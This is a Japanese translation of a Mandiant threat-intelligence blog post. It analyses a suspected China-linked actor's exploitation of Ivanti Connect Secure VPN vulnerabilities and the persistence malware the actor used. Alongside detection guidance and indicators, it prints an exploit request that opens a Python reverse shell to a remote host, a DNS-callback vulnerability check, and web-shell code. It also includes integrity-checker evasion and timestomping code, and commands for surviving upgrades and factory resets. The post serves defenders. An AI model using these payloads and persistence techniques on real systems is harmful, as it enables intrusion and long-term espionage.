Blog

最先端の脅威 - Part 3: Ivanti Connect Secure VPN の悪用と永続性の調査

Matt Lin, Robert Wallace, Austin Larsen, Ryan Gandrud, Jacob Thompson, Ashley Pearson, Ashley Frazer
Feb 27, 2024
6 min read
|   Last update Feb 29, 2024
Incident Response
Threat Intelligence
Zero Day Threats
China

Mandiant と Ivanti 社は、Ivanti ゼロデイ脆弱性悪用に関する調査を、米国の防衛産業基盤セクターを含むさまざまな業界にわたって継続しています。  2024 年 1 月 10 日の最初の報告に続いて、Mandiantは、限られた中国関連の脅威アクターによるこれらの脆弱性を悪用する大規模な試みと、UNC5325 で使用される CVE-2024-21893悪用する緩和策バイパスの開発を観察し、これを「Part 2」としてブログにて報告しました。

Mandiant は、UNC5325が検出をよりうまく回避するための Living-off-the-land (LotL) 技術の組み合わせを使用し、ファクトリーリセット、システム アップグレード、およびパッチ後の持続性保持を可能にするLITTLELAMBなどの新しいマルウェアを展開していることを確認しています。マルウェアのコードには暗号化キーの不一致を考慮するロジックがないため、持続性を維持するための限定的な試みは現在までに成功していませんが、UNC5325 が優先ターゲットへのアクセスを維持するためにどのような手段を講じるかを示すとともに、ネットワーク・アプライアンスに最新のアップデートとパッチを適用することの重要性を強調しています。

Ivanti のユーザーで、保護を確保するための措置をまだ講じていない場合は、直ちに措置を講じることが推奨されます。 このような永続化の試みを検出するのに役立つ外部整合性チェックツール(ICT)の新バージョンが利用可能になりました。また、Ivanti のセキュリティ勧告を参照し、最新の推奨事項を含む更新された強化ガイドを参照してください。

Ivanti ゼロデイの悪用は、数多くのアプライアンスに影響を及ぼしています。 アクティビティの多くは自動化されていますが、攻撃者の戦術、技術、および手順 (TTP) に関するさらなる洞察を提供する後続アクティビティの小規模なサブセットも存在します。 Mandiant は、さらに多くの攻撃者がこれらの脆弱性を利用して活動する可能性が高いと評価しています。

現在までに、Ivanti は、Ivanti Connect Secure およびその他の製品に影響を与える次の 5 つの脆弱性を公開しています。 

表 1: 2024 年 1 月 10 日から 2024 年 2 月 8 日までの Ivanti 脆弱性の開示

Date

CVE

CVSS

Description

Jan. 10, 2024

CVE-2023-46805

8.2

Web コンポーネントの認証バイパスの脆弱性

Jan. 10, 2024

CVE-2024-21887

9.1

Web コンポーネントのコマンド インジェクションの脆弱性

Jan. 31, 2024

CVE-2024-21888

8.8

Web コンポーネントの権限昇格の脆弱性

Jan. 31, 2024

CVE-2024-21893

8.2

SAML コンポーネントの SSRF 脆弱性

Feb. 08, 2024

CVE-2024-22024

8.3

SAML コンポーネントの XXE 脆弱性

前回のブログ投稿では、新たに特定された BUSHWALK WebShell をドロップするために使用される緩和策バイパスについて説明しました。 緩和策バイパスは現在、CVE-2024-21893として追跡されています。 これは、Ivanti Connect Secure (CS)、Policy Secure (PS)、および Zero Trust Access (NZTA) アプライアンスの Neurons の SAML コンポーネントに存在するサーバー側リクエスト フォージェリ (SSRF) の脆弱性であり、2024 年 1 月 31 日にリリースされたパッチと緩和策で対処されました。 

その後、2024年2月8日には、Ivantiによって新たな脆弱性 CVE-2024-22024が報告されました。これは、 SAML コンポーネントの XML 外部エンティティ (XXE) の脆弱性に関連しており、パッチが適用されたアプライアンスにおいて認証されていない攻撃者が制限されたリソースにアクセスできるようになります。

アトリビューション

UNC5325

UNC5325 は、CVE-2024-21893 を悪用して Ivanti Connect Secure アプライアンスを侵害した中国のサイバー スパイ活動オペレーターの疑いがあります。 UNC5325 は、検出を回避して永続性を維持するために、オープンソース プロジェクトのコードを利用し、カスタム マルウェアをインストールし、アプライアンスの設定を変更しました。 UNC5325 は、PITSTOP、PITDOG、PITJET、および PITHOOK を展開していることが観察されています。 Mandiant は、PITHOOK 内のマルウェア ファミリ コードが UNC3886 によって利用されるマルウェアと重複していることを特定し、UNC5325 が UNC3886 であると中程度の確信度で疑っています。

UNC3886

UNC3886は、仮装技術に対する新しい技術を利用して、ターゲットのネットワーク デバイスに侵入した中国のスパイ活動の疑いのあるオペレーターです。 彼らは、オープンソース プロジェクトのコードを利用したり、ゼロデイ脆弱性を悪用したりすることで、標的とするテクノロジー向けに構築されたカスタム マルウェアをインストールしました。 私たちは引き続き証拠を収集し、UNC3886 と他の疑わしい中国スパイグループとの間の重複を特定し続けています。これには、標的設定や独特の戦術、技術、手順 (TTP) の使用も含まれます。

新しい TTP とマルウェア

前回のブログ投稿以来、Mandiant は CVE-2024-21893 (SSRF) を悪用して追加のマルウェアを展開し、侵害されたアプライアンスへの永続的なアクセスを維持する UNC5325 を特定しました。 さらに、ファクトリーリセット、システム アップグレード、パッチ適用後もカスタム バックドアの維持を可能にする新しい TTP が確認されています。しかし、持続性を維持するための試みは限られており、今のところ成功していません。

CVE-2024-21893 (SSRF) の悪用

Mandiant は、2024 年 1 月 19 日の時点で、限られた数の Ivanti Connect Secure アプライアンスを対象とした UNC5325 による CVE-2024-21893 の積極的な悪用を特定しました。

2024 年 1 月 31 日、Ivanti は、Ivanti Connect Secure、Ivanti Policy Secure、および Ivanti Neurons for ZTA の SAML コンポーネントにおけるサーバー側リクエスト フォージェリ (SSRF) の脆弱性である CVE-2024-21893 を公開しました。 現在までに、Ivanti Connect Secure アプライアンスに対する悪用の成功のみが確認されています。

同じ 2024 年 1 月 31 日の発表で、Ivanti は、開示時点で開示された 4 つすべての CVE の悪用を防止するための新しい XML 緩和策をリリースしました。 これには次のものが含まれます。

  • CVE-2023-46805 (認証バイパス)
  • CVE-2024-21887 (コマンド インジェクション)
  • CVE-2024-21888 (権限昇格)
  • CVE-2024-21893 (サーバー側のリクエストフォージェリ)

CVE-2024-21893 では、CVE-2024-21887 で説明されているように、以前に開示されたコマンド インジェクションの脆弱性を連鎖させることで、認証されていない攻撃者がアプライアンスを悪用することが可能になりました。 これには、2024 年 1 月 10 日にリリースされた XML 軽減策を適用したアプライアンスが含まれます。

CVE-2024-21893 (SSRF) と CVE-2024-21887 (コマンド インジェクション) の連鎖

CVE-2024-21893 の公開直後、Mandiant は、攻撃者が SSRF の脆弱性と CVE-2024-21887 で説明されているコマンド インジェクションの脆弱性を連鎖させ、脆弱なデバイスを悪用していることを観察しました。

場合によっては、 Interactshなどの公的に利用可能なサービスを使用して、ターゲットが CVE-2024-21893 に対して脆弱かどうかを検証しました。

図 1: CVE-2024-21893 脆弱性の検証
GET /api/v1/license/keys-status/;python -c 'import socket;socket.gethostbyname("<randomstring>.oast.live")'

Shortly after a vulnerable target was identified, the threat actor executed follow-on commands to perform reconnaissance and, in some cases, establish a reverse shell.

図 2: Python リバース TCP シェル
GET /api/v1/license/keys-status/;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<remote_ip>",<port>));subprocess.call(["/bin/sh","-i"]

悪用の試みを特定する

SAML コンポーネントの SSRF 脆弱性が悪用されると、影響を受けるアプライアンス上に最大 2 つのログ イベントといくつかのホストベースのアーティファクトが生成されます。

Ivanti Connect Secure アプライアンスが未認証のリクエストをログに記録するように構成されている場合、認証されていない攻撃者が脆弱な SAML エンドポイント /dana-ws/saml.wsをリクエストすると、イベント ID AUT31556 が生成されます。 イベントには、認証されていないリクエストの送信元 IP アドレスが含まれます。

図 3: 脆弱な SAML エンドポイントへの未認証リクエストを示すイベント ログ エントリ
AUT31556: Unauthenticated request url /dana-ws/saml.ws came from IP <REDACTED>.

さらに、サーバーは、CVE-2024-21893 を悪用するために悪意を持って作成された SAML ペイロードを適切に処理できません。 saml-serverプロセスがクラッシュすると、アプライアンスはイベント ID ERR31903 のエラー イベント ログ エントリを生成します。これは悪用の試みを示す可能性があります。

図 4: プロセスクラッシュのイベントログエントリ
ERR31093: Program saml-server recently failed.

脅威アクターが関連するログ ファイルを削除していることが確認されているため、フォレンジック イメージ上の割り当てられたディスク領域と未割り当てのディスク領域の両方を分析してログ イベントの存在を確認することをお勧めします。

saml-serverプロセスがクラッシュすると、 /data/var/cores/にコア ダンプが生成されます。 コア ダンプが利用可能な場合は、細工された SAML メッセージ、リクエストの HTTP ヘッダー、および送信元 IP アドレスを抽出できます。 攻撃者がcoresディレクトリの内容を削除していることを確認しましたが、ファイル カービングを通じてコア ダンプの関連するフラグメントを復元することに成功しました。

BUSHWALK 亜種

Cutting Edge パート 2では、CVE-2024-21893 および CVE-2024-21887 の悪用に関連する BUSHWALK として追跡される新しい Web シェルを紹介しました。 このキャンペーンで観察された他の Web シェルと同様に、BUSHWALK は Perl で書かれており、正規の Ivanti Connect Secure コンポーネントであるquerymanifest.cgiに埋め込まれています。

Mandiant は、インシデント対応活動を通じて、BUSHWALKの新しい亜種を特定しました。 BUSHWALKのこの新しい亜種は、2024 年 1 月 31 日に Ivanti が CVE-2024-21893 を公開してから 12 時間以内に、侵害されたアプライアンス上で特定されました。 この亜種は、以前のブログ投稿で説明した BUSHWALK サンプルに似ていますが、アプライアンスからの任意のファイルの読み取りを可能にするcheckVerisonという新しい関数が追加されています。 この関数は、復号化されたペイロードに文字列checkが含まれている場合に実行されます。 次の図は、関連するcheckVerison関数を示しています。

 

図 5:ファイル読み取り用のBUSHWALK のcheckVerison関数

sub checkVerison

{

    my ($file, $key) = @_;

    my $contents = "";

    my $buffer;

    my $bytesread = 0;

    my $totalbytesread = 0;

    local *FILE;

    CORE::open(*FILE, $file);

    while($bytesread = sysread(FILE, $buffer, 1024)) {

        $contents .= $buffer;

        $totalbytesread += $bytesread;

    }

    if ($totalbytesread == 0) {

        print "Unable to read file with path: $file";

        print CGI::header(-type=>"text/html", -status=> '404 Not Found');

        exit;

    }

    print CGI::header();

    $contents = RC4($key, $contents);

    $contents = MIME::Base64::encode_base64($contents);

    print $contents;

    close *FILE;

}

2 つの BUSHWALK 亜種と特定されたすべてのサンプルにわたって、発行されたコマンドを復号化するための同じ RC4 キーが観察されたことに注意してください。

さらに、このキャンペーンを通じて、攻撃者がアプライアンスに対する深い理解と検出を回避する能力についてを示していることを引き続き確認しました。 私たちは、Ivanti 製品に固有の組み込みシステム ユーティリティを使用して Perl モジュールと Living-off-the-land (LotL) 手法を創造的に変更することで、BUSHwalk が検出されない休止状態に留まることができる手法を特定しました。

これを達成するために、脅威アクターはまず、受信ユーザー エージェントを評価する Perl モジュールDSUserAgentCap.pmを変更します。 この変更により、脅威アクターは、受信した HTTP リクエストのユーザー エージェントに応じて BUSHwalk をアクティブ化または非アクティブ化できるようになります。

図6は、DSUserAgentCap.pmの変更の抜粋です。2つのユーザーエージェント文字列のApp1eWebKitAppIeWebKitのスペルの違いに注意してください。

図 6: DSUserAgentCap.pm の抜粋

sub getUserAgentType {

   my ($user_agent) = @_;

   if ($user_agent eq "Mozilla/5.0 (Windows NT 10.0; Win64; x64) App1eWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"){

        system("mount -o remount,rw /");

        system("/home/bin/configdecrypt /data/runtime/cockpit/diskAnalysis /data/runtime/cockpit/diskAnalysis.bak");

        system("cp /home/webserver/htdocs/dana-na/jam/querymanifest.cgi /home/webserver/htdocs/dana-na/jam/querymanifest.cgi.bak");

        system("echo '/home/webserver/htdocs/dana-na/jam/querymanifest.cgi' >> /home/etc/manifest/exclusion_list");

        system("mv /data/runtime/cockpit/diskAnalysis.bak /home/webserver/htdocs/dana-na/jam/querymanifest.cgi");

        system("chmod 755 /home/webserver/htdocs/dana-na/jam/querymanifest.cgi");

        system("mkdir /debug");

        system("/home/bin/restartServer.pl Restart");

        exit(0);

   }

   elsif ($user_agent eq "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppIeWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"){

        system("mv /home/webserver/htdocs/dana-na/jam/querymanifest.cgi.bak /home/webserver/htdocs/dana-na/jam/querymanifest.cgi");

        system("touch -r /home/webserver/htdocs/dana-na/auth/setcookie.cgi /home/webserver/htdocs/dana-na/jam/querymanifest.cgi");

        system("/bin/sed -i '\$d' /home/etc/manifest/exclusion_list");

        system("rm -rf /debug");

        system("mount -o remount,ro /");

        exit(0);

   }

   else{

        my $type  = DSClientTypes::getUserAgentType($user_agent);

        return $type;

   }

BUSHWALKの暗号化バージョンは、/data/runtime/cockpit/diskAnalysiの整合性チェッカーツール(ICT)によって除外されたディレクトリに置かれます。

起動ルーチン(if ブロック)は、システム構成の復号化に使用される/home/bin/configdecryptにあるアプライアンス上の組み込みユーティリティを使用します。このルーチンは、configdecryptユーティリティを実行して、BUSHWALK Webシェルを含む diskAnalysisを復号化します。その後、元のquerymanifest.cgiファイルのバックアップを作成し、exclusion_listに追加し、BUSHWALKをWebサーバ・ディレクトリに移動し、WebシェルをロードするためにWebサーバを再起動します。

非活性化ルーチン(elseifブロック)は、元のquerymanifest.cgiファイルを復元し、その活動を隠すためにtouchを使用してタイムストンプし、exclusion_listからBUSHWALKのパスを削除し、Webサーバーを再起動します。しかし、BUSHWALKの暗号化されたバージョンは、動的なディレクトリで休止状態のままであるため、完全性チェックツールによってスキャンされません。BUSHWALKは/data/runtime/cockpit/diskAnalysisに、脅威アクターが再起動するまで静かに存在し続けます。

内部ICTは、デフォルトで2時間間隔で実行されるように設定されており、継続的な監視に沿って実行されるようになっています。2時間のスキャン間隔の間に行われ、元に戻された悪意のあるファイルシステムの変更は、ICTによって検出されないままとなります。アクティブ化ルーチンと非アクティブ化ルーチンを巧妙に連続して実行されると、アクティブ化ルーチンをBUSHWALK Webシェルの意図された使用と正確に一致するようにタイミングを合わせることで、ICTの検出リスクを最小限に抑えることができます。

SparkGateway プラグインの不正使用

CVE-2024-21893 の悪用後の限られた数のインスタンスで、SparkGateway プラグインを使用して共有オブジェクトを永続的に挿入し、バックドアをデプロイすることが確認されました。 SparkGateway は、RDP や SSH などのブラウザ経由のリモート アクセス プロトコルを有効にする Ivanti Connect Secure アプライアンスの正規のコンポーネントです。 SparkGateway の機能はプラグインを通じて拡張できます。

PITFUEL Plugin

Mandiantは、System.load()を呼び出してJava Native Interface(JNI)を介して共有オブジェクトibchilkat.so(LITTLELAMB.WOOLTEA)をロードするplugin.jar(PITFUEL)というSparkGatewayプラグインを特定しました。共有オブジェクトはバックドアを永続的に展開し、システムのアップグレードイベント、パッチ、ファクトリーのリセットにまたがって永続化する機能を含んでいます。

図7は、PITFUELのPluginManagerクラスの関連する抜粋を示しています。

図 7: SparkGateway プラグイン (PITFUEL) のPluginManagerクラス

public class PluginManager {

  static {

    try {

      System.load("/home/runtime/SparkGateway/libchilkat.so");

    } catch (Exception exception) {}

    try {

      Config config = Config.getInstance();

      config.remove("plugin");

      config.remove("pluginFile");

    } catch (Exception exception) {}

    try {

      Logger logger = Logger.getLogger(Config.class.getName());

      SparkGatewayFilter sparkGatewayFilter = new SparkGatewayFilter();

      logger.setFilter(sparkGatewayFilter);

    } catch (Exception exception) {}

  }

  

  static class SparkGatewayFilter implements Filter {

    public boolean isLoggable(LogRecord param1LogRecord) {

      return (param1LogRecord.getLevel().intValue() != Level.SEVERE.intValue());

    }

  }

}

libchilkat.so(LITTLELAMB.WOOLTEA)は、実行時にいくつかの初期化ルーチンを実行し、侵害されたシステム上でバックグラウンドで持続的に実行されるようにします。ここれは、自身をデーモン化し、 SIGPIPE、 SIGKILL、 および SIGTERMシグナルのトラップを試み、システムがメモリ不足の場合でもプロセスを実行し続けるためにメモリ不足 (OOM) 調整値 ( oom_adj)を-17に調整することによって実現します。

システムのアップグレードとパッチ後の永続性

最初の実行時に、LITTLELAMB.WOOLTEA はfirst_run() 関数を実行します。 これは、悪意のあるコンポーネントをアーカイブ/data/pkg/data-backup.tgzに追加するedit_current_data_backup()関数を呼び出します。 以下の図は、同等のコマンド シーケンスを示しています。

図 8: edit_current_data_backup()によって実行されるコマンド シーケンス

gzip -d /data/pkg/data-backup.tgz > /dev/null 2>&1

 

tar -rf /data/pkg/data-backup.tar /data/runtime/SparkGateway/plugin.jar 
/data/runtime/SparkGateway/libchilkat.so 
/data/runtime/SparkGateway/gateway.conf > /dev/null 2>&1

 

gzip /data/pkg/data-backup.tar > /dev/null 2>&1


mv /data/pkg/data-backup.tar.gz /data/pkg/data-backup.tgz > /dev/null 2>&1

システムのアップグレード時またはパッチの適用時、 data-backup.tgzには、アップグレード イベント後に復元されるdataディレクトリのバックアップが含まれています。 さらに、関数はutimensatを呼び出してdata-backup.tgz をタイムストンプします。 この変更により、悪意のあるコンポーネント ( plugin.jar 、 libchilkat.so 、およびgateway.conf) がシステムのアップグレードやパッチ後も存続することが保証されます。

図 9:システム アップグレード イベント中のdata-backup.tgzの解凍
(cd / ; tar -zxBf /data/pkg/data-backup.tgz >/dev/null 2>&1)

さらに、このマルウェアには、システム アップグレードおよびパッチ イベント間の永続性をサポートするupgrade_monitor()という名前の関数が含まれています。 これは、システム アップグレードまたはパッチ イベントのまさに瞬間に変更を加えることで、二次的な永続化方法として機能すると評価しています。

また、ファイルシステムに/tmp/data/root/devが存在するかどうかを継続的にチェックすることで、システム アップグレード イベントを監視します。このパスは、システム アップグレード プロセスをサポートするために使用されます。 言い換えれば、パスの存在はマルウェアに対してシステム アップグレード イベントの存在を示します。

パスが存在する場合、それ自体とその構成コンポーネントをアーカイブ/tmp/data/root/samba_upgrade.tar.に追加することにより、システムのアップグレード プロセスに介入します。 システム アップグレード プロセス中に、アプライアンスはデータ移行の目的でsamba_upgrade.tar を解凍します。 以下の図は、 /tmp/data/root/devの存在を検出したときにupgrade_monitor() によって実行されるコマンドを示しています。

図10: upgrade_monitor()によって実行されるシェルコマンド
tar -rf /tmp/data/root/samba_upgrade.tar 
/home/runtime/SparkGateway/plugin.jar 
/home/runtime/SparkGateway/libchilkat.so 
/home/runtime/SparkGateway/gateway.conf  > /dev/null 2>&1

システムのアップグレードまたはパッチのプロセス中、post-installbash スクリプトは次のコマンドを実行してsamba_upgrade.tarを解凍し、悪意のあるコンポーネント ( libchilkat.so 、 plugin.jar 、およびgateway.conf) を新しいアクティブ パーティションにコピーします。 以下の図は、post-install関連コマンド シーケンスを示しています。

 図 11:post-installスクリプトによるsamba_upgrade.tarの解凍

tar -tf $upgrade_partition samba_upgrade.tar > /dev/null 2>&1

if [ $? -eq 0 ]; then

    (cd /; tar -xf $upgrade_partition samba_upgrade.tar >/dev/null)

fi

ファクトリーリセット後の永続性

次に、LITTLELAMB.WOOLTEA はfirst_run()を実行します。これは、/proc/ive/mbserialnumberにあるマザーボードのシリアル番号の最初の 4 バイトを読み取ることでアプライアンスのハードウェアを読み取り、チェックし、その動作を調整して、さらに変更するためにファクトリーリセットしたイメージを使用します。

4 バイトが文字列 0331、 033203400481、 または 0482と一致する場合、マルウェアは次のコマンドを実行して/dev/md5 (ファクトリーリセットされたルート パーティション) を/dev/loop5にマウントします。

図12: /dev/md5のループ デバイスを設定するコマンド
/bin/losetup /dev/loop5 /dev/md5 > /dev/null 2>&1

4 バイトの文字列はそれぞれ、物理的な Pulse Secure Appliance (PSA) または Ivanti Secure Appliance (ISA) 製品に対応します。

表 2: マシン ID と物理アプライアンスのモデル番号

Machine ID

Appliance Model Number

0331

PSA 7000F

0332

PSA 7000C

0340

PSA 10000

0481

ISA 8000F

0482

ISA 8000C

そうでない場合、4バイトがどのマシンID文字列とも一致しないか、/proc/ive/mbserialnumberの読み込みに失敗すると、マルウェアは/dev/xda5 (ファクトリーリセットのルートパーティション)を/dev/loop5にマウントする以下のコマンドを実行します。

表13: /dev/xda5のループ デバイスを設定するコマンド
/bin/losetup /dev/loop5 /dev/xda5 > /dev/null 2>&1

次に、LITTLELAMB.WOOLTEA は、新しく作成されたループ デバイス ( /dev/loop5 ) を/tmp/tmpmntにマウントし、ファクトリーリセットされたルート パーティションを変更します。 以下の図は、同等のコマンド シーケンスを示しています。

表14: /dev/loop5をマウントするコマンド

mkdir -m 777 /tmp/tmpmnt

mount /dev/loop5 /tmp/tmpmnt -t ext2

注意すべき点は、/bin/losetupは、実行中のバージョンのパーティションを復号化するために、実行中のバージョンのカーネル内に埋め込まれた暗号化キーを使用することです。この暗号化キーは、ビルドのコンパイル時にハードコードされ、アプライアンスのバージョンごとに一意です。

ただし、ファクトリーリセットパーティションは、ファクトリーカーネルに埋め込まれた独自の独立した暗号化キーを維持します。現在の実行バージョンとファクトリーリセットの展開バージョンが異なる場合(つまり、アプライアンスまたはVMが少なくとも1回は更新されている場合)、bin/losetupは暗号化キーの不一致のためにファクトリーリセットパーティションの復号化に失敗し、ファクトリーリセット後にマルウェアは持続しません。

なお、Mandiant 社と Ivanti 社は、ファクトリーリセットの後に影響を受けたアプライアンスに対してフォレンジック分析を実施し、マルウェアの存続を示す証拠がないことを確認しました。このアプライアンスは、最初に導入されてから少なくとも1回のアップデートが行われていたため、ファクトリーリセット後のカーネルと実行中のバージョンのカーネルの暗号化キーが異なり、マルウェアはファクトリーリセット後に持続しませんでした。

losetupがファクトリーリセットイメージの復号化に成功した場合、マルウェアは持続ワークフローを継続します。ファクトリーリセットプロセスを変更するために、マウントされたファクトリーリセットパーティション内のtarバイナリを traに変更するedit_factory_reset()関数を呼び出します。

図 15: tarバイナリの名前を変更するコマンド
mv /tmp/tmpmnt/bin/tar /tmp/tmpmnt/bin/tra

次に、マルウェアは、tarバイナリのトロイの木馬化されたバージョンを/tmp/tmpmnt/bin/tarに書き込み、 tarバイナリを実行可能にし、悪意のあるコンポーネントを (正規のtar ユーティリティを使用して) ファクトリーリセットされたパーティション内にあるアーカイブ/tmp/tmpmnt/bin/samba_upgrade.tarに先制的に追加します。 

表16:  samba_upgrade.tarにアーカイブするコマンド
tar -rf /tmp/tmpmnt/bin/samba_upgrade.tar 
/home/runtime/SparkGateway/plugin.jar 
/home/runtime/SparkGateway/libchilkat.so 
/home/runtime/SparkGateway/gateway.conf  > /dev/null 2>&1

トロイの木馬化されたtarバイナリは、出荷時設定へのリセット プロセス中に、悪意のある/bin/samba_upgrade.tar/tmp/samba_upgrade.tarにコピーするための一連の特定の条件をチェックします。

  • 4 つの引数が提供される ( argcが 4 に等しい)
  • 2 番目の引数argv[1]-cf
  • 4 番目の引数argv[3]no-data

上記の条件のいずれかが満たされない場合、トロイの木馬化されたtarバイナリは、図 15 でバックアップされた正規のtar(/bin/tra) ユーティリティを実行します。

この条件は、構成のリセットを担当する出荷時設定へのリセット手順のコンポーネント ( dsconfigreset ) によって満たされます。 このユーティリティは、 /tmp/no-dataに空のファイルを作成し、 /bin/tar -cfを使用してアーカイブします。以下の図は、関連するコマンド シーケンスを示しています。

図 17: dsconfigresetによるファクトリーリセット中に実行されるコマンド

echo "" > /tmp/no-data

(cd /tmp; /bin/tar -cf $tmp_part no-data)

dsconfigreset/bin/tar -cf $tmp_part no-dataを実行すると、トロイの木馬化されたtar は、悪意のあるコンポーネントを含む/bin/samba_upgrade.tar の内容を、ファクトリーリセットされたルート パーティション (/tmp/tmpmntにマウントされている)の/tmp/samba_upgrade.tarにコピーします。

次に、前述のシステム アップグレードの永続性フローと同様に、アプライアンスは新しいシステムのインストール プロセス中にpost-install bash スクリプトを実行します。 このスクリプトは、ファクトリーリセットされたパーティション内のsamba_upgrade.tarアーカイブを解凍し、悪意のあるコンポーネント ( libchilkat.soplugin.jar、および gateway.conf ) をファクトリーリセットした後に作成された新しいアクティブ パーティションにコピーします。

Webサーバープロセスのフック

httpd_monitor()関数は、 inject_loop()という名前の組み込み注入関数を使用して、別の共有オブジェクトlibaprhelper.so (PITSOCK)をWebプロセスに永続的に注入します。

PITSOCKは、プロシージャリンクテーブル(PLT)を変更することで、webプロセスの関数acceptsetsockoptをフックします。これにより、受信バッファで特定の48バイトのマジックバイト列を受信すると、Unixソケット/tmp/clientsDownload.sockを介したバックドア通信が可能になります。

悪意のある SparkGateway プラグインの作成

最後に、 libchilkat.sopersist()を呼び出し、SparkGateway 構成ファイルを変更します。 以下は、プラグインをサポートおよびロードするために変更された SparkGateway 構成ファイルからの抜粋を示しています。

図 18: SparkGateway 構成ファイルの抜粋

plugin = com.toremote.gateway.plugin.PluginManager

pluginFile = /home/runtime/SparkGateway/plugin.jar

バックドア機能

libchilkat.so は、コマンド実行、ファイル管理、シェル作成、SOCKS プロキシ、ネットワーク トラフィック トンネリングなどの期待される機能をサポートするスタンドアロン バックドアとしても機能します。 Ivanti Connect Secure Web サーバー ( /home/webserver/conf/ssl.key/secure.key )にある秘密キーを使用して SSL 経由で通信し、ソケット/tmp/clientsDownload.sockを使用して通信します。

PITDOG プラグイン

Mandiant は、 Kubo Injector memorysCounter)を使用して共有オブジェクトmem.rd (PITHOOK) をweb プロセス メモリに挿入し、バックドアdsAgent (PITSTOP)を永続的に実行するsecurity.jar (PITDOG) という名前の 2 番目の悪意のある SparkGateway プラグインを特定しました。  以下に、 security.jarからの関連する抜粋を示します。

Excerpt of security.jar plugin
図 19: security.jar プラグインの抜粋

SparkGateway 構成は、プラグインをロードするように変更されます。 次の図は、 gateway.confからの関連する抜粋を示しています。

図 20: SparkGateway 構成ファイルの抜粋

plugin = SparkPlugin

pluginFile = /data/runtime/cockpit/security.jar

security.jar プラグインは、システムがハンドシェイク プラグインを呼び出すときの RDP 接続のネゴシエーション中に実行されます。 getHandshakePlugin()メソッドは、Runnable インターフェイスから新しいスレッドを作成し、 10 秒ごとにSparkPlugin.watchdog()を繰り返し呼び出します。 これは、SparkGateway アプリケーションの主な操作を妨げることなく、悪意のあるwatchdogメソッドの継続的な実行を保証する永続化メソッドとして機能します。

watchdogメソッドは、まず共有オブジェクトmem.rd (PITHOOK) がwebプロセス メモリ内にマップされているかどうかを確認します。 そうでない場合は、 mem.rd  をwebプロセスに挿入します。 PITHOOK は、 PLT を変更することで、 Webプロセス内のaccept関数とaccept4関数をフックします。 PITHOOK が事前定義されたマジック バイト シーケンスに一致するバッファを受信すると、ソケットを複製し、Unix ドメイン ソケット/data/runtime/cockpit/wd.fdとの通信を開始します。

mem.rd )をWebプロセスに挿入するために実行されるコマンドを示しています。ここで、 %dはWebプロセスのプロセス ID (PID) を表します。

Figure 21 shows the command executed to inject PITHOOK (mem.rd) into the web process, where %d represents the process ID (PID) of the web process.

図 21: PITHOOK を挿入するコマンド
/data/runtime/cockpit/memorysCounter -p %d /data/runtime/cockpit/mem.rd

私たちは、/data/runtime/cockpit/memorysCounterは、追加の修正や変更を行わない Kubo Injectorの直接インスタンスであると判断しました。 Kubo Injector は、プロセス名またはプロセス ID を指定して共有オブジェクトを任意のプロセスに注入できるユーティリティである、一般的なlinux-injectプロジェクトに基づいています。

最後に、watchdogメソッドは PITSTOP バックドア ( /data/runtime/cockpit/dsAgent) がまだ実行されていない場合はそれを実行します。

PITSTOPは、事前定義されたマジック バイト シーケンスを受信すると、PITHOOK によって作成された/data/runtime/cockpit/wd.fdにある Unix ドメイン ソケットをリッスンします。 次に、TLS 経由でさらに通信するためにソケットを複製します。 ソケットが確立されると、PITSTOP は Base64 とハードコーディングされた AES キーを使用して受信コマンドを評価します。 これは、侵害されたアプライアンスでのシェル コマンドの実行、ファイルの書き込み、およびファイルの読み取りをサポートします。

見通しと影響

UNC5325のTTPとマルウェアの展開は、中国とつながるスパイ活動の疑いのある攻撃者がゼロデイ脆弱性を悪用し、エッジ インフラストラクチャに対する攻撃を継続していることを示しています。 UNC4841が Barracuda ESG に精通しているのと同様に、UNC5325 は、使用したマルウェアとファクトリーリセット後も持続する機能の両方に見られるように、Ivanti Connect Secure アプライアンスに関する重要な知識を有していることを表しています。 Mandiantは、UNC5325 やその他の中国と連携したスパイ活動者が、引き続きゼロデイ脆弱性やアプライアンス固有のマルウェアを利用して、ターゲット環境へのアクセスを取得し、維持すると予想しています。

The material in this blog post is being shared as cyber threat indicators and defensive measures solely for cybersecurity purposes in accordance with the Cybersecurity Information Sharing Act of 2015 (“CISA/2015”).  This information is subject to the provisions of CISA/2015, including 6 U.S. Code § 1504(d)(1).

本ブログ記事の資料は、サイバーセキュリティ情報共有法(Cybersecurity Information Sharing Act of 2015、以下「CISA/2015」)に従い、サイバーセキュリティ目的のみのためにサイバー脅威指標および防御手段として共有されるものです。 この情報は、合衆国法典第6編第1504条(d)(1)を含むCISA/2015の規定の対象となります。

※2024年2月27日に公開されたブログ「Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts」の日本語抄訳版です。
 

Indicators of Compromise (IOCs)

Host-Based Indicators (HBIs)

Table 3: Host-based indicators

Filename

MD5

Description

DSUserAgentCap.pm

e4fe3a314a3aee5aee9c55787a33671c

BUSHWALK activator / deactivator

querymanifest.cgi

e48716521dc48425feae71bc9dc768cd

BUSHWALK variant

diskCounters

8c4b32e8ee9e0b2f8dab01364971ffff

Dropper for DSUserAgentCap.pm

diskmonitor

e33a3a90f1f8fa6d8f17bc6151b027d6

Encrypted DSUserAgentCap.pm

diskAnalysis

6c58b8b1e3b36a5a124afd110c109ebc

Encrypted BUSHWALK variant

plugin.jar

b76d7890a7a7ff6d0b1151a8251e318f

PITFUEL SparkGateway plugin

gateway.conf

9e0941c4851d414b5d25dd15872c3e47

SparkGateway config to load PITFUEL

libchilkat.so

fd83b3e9db57838b62c5baf8218ce5a8

LITTLELAMB.WOOLTEA backdoor

libaprhelper.so

2ddeca6511506fe435dc1f63b4cf061c

PITSOCK backdoor

security.jar

f64a799ff16aded3f4d6706ffbd7e6dd

PITDOG SparkGateway plugin

gateway.conf

fb973c8bbfdba234ea83ee20084dcac9

SparkGateway config to load PITDOG

mem.rd

5368b1122c10fa7850f44d3e16fc18fb

PITHOOK backdoor

memorysCounter

31a591a28198f05e9ab4d12609a9ce81

Kubo Injector

dsAgent

5f561f217a8046de8cadf418ef4dfda0

PITSTOP backdoor

wd.fd

N/A

Unix domain socket for PITSTOP

wd.lock

N/A

Mutex for PITSTOP

YARA Rules

rule M_Launcher_PITDOG_1 {

  meta:

    author = "Mandiant"

    description = "This rule is designed to detect on events related to PITDOG."

